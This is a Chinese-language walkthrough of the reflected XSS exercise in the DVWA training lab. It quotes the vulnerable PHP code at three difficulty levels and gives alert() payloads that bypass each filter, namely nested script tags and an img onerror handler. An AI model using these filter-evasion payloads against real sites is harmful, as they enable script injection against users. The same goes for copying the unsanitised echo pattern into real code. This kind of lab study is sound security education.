DWVA-关于反射型xss的漏洞详解<xss reflected>
反射型xss
low级别
代码如下:
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) { // Feedback for end user echo ‘<pre>Hello ‘ . $_GET[ ‘name‘ ] . ‘</pre>‘; } ?>
从上图中可以看出来,对于接收到的输入参数,并未做任何处理,因此直接插入恶意代码
<script>alert(‘hahaha‘)</script>
效果如下:
medium级别
代码如下:
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) { // Get input $name = str_replace( ‘<script>‘, ‘‘, $_GET[ ‘name‘ ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
代码中可以看出,通过str_replace将<script>,替换为空。
这种情况下可以使用拼写<script>的方法,输入如下参数:
<scr<script>ipt>alert(‘lalala‘)</script>
输入后前面的<scr<script>ipt>中将<script>替换为空后,有重新组合出一个<script>,达到注入目的。
效果如下:
成功注入。
high级别
代码如下:
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) { // Get input $name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $_GET[ ‘name‘ ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
high级别代码,使用正则表达式对输入参数进行搜索和替换,有效避免了组合绕过和大小写绕过。
不过既然它仅仅是对于<script>进行过滤,我们可以使用其他表达式进行绕过、
<img src=1 onerror=alert(‘hahah‘)>
效果如下:
相关推荐
layloge 2020-07-05
csxiaoqiang 2020-06-03
sswqycbailong 2020-07-28
csxiaoqiang 2020-07-26
码农成长记 2020-07-19
layloge 2020-06-26
liangjielaoshi 2020-06-25
csxiaoqiang 2020-06-16
某先生 2020-06-13
ItBJLan 2020-06-11
layloge 2020-06-07
sswqycbailong 2020-06-01
layloge 2020-05-30
码农成长记 2020-05-28
qidu 2020-05-26
zhuangnet 2020-05-20
zhuangnet 2020-05-19
xiaoemo0 2020-05-16
码农成长记 2020-05-10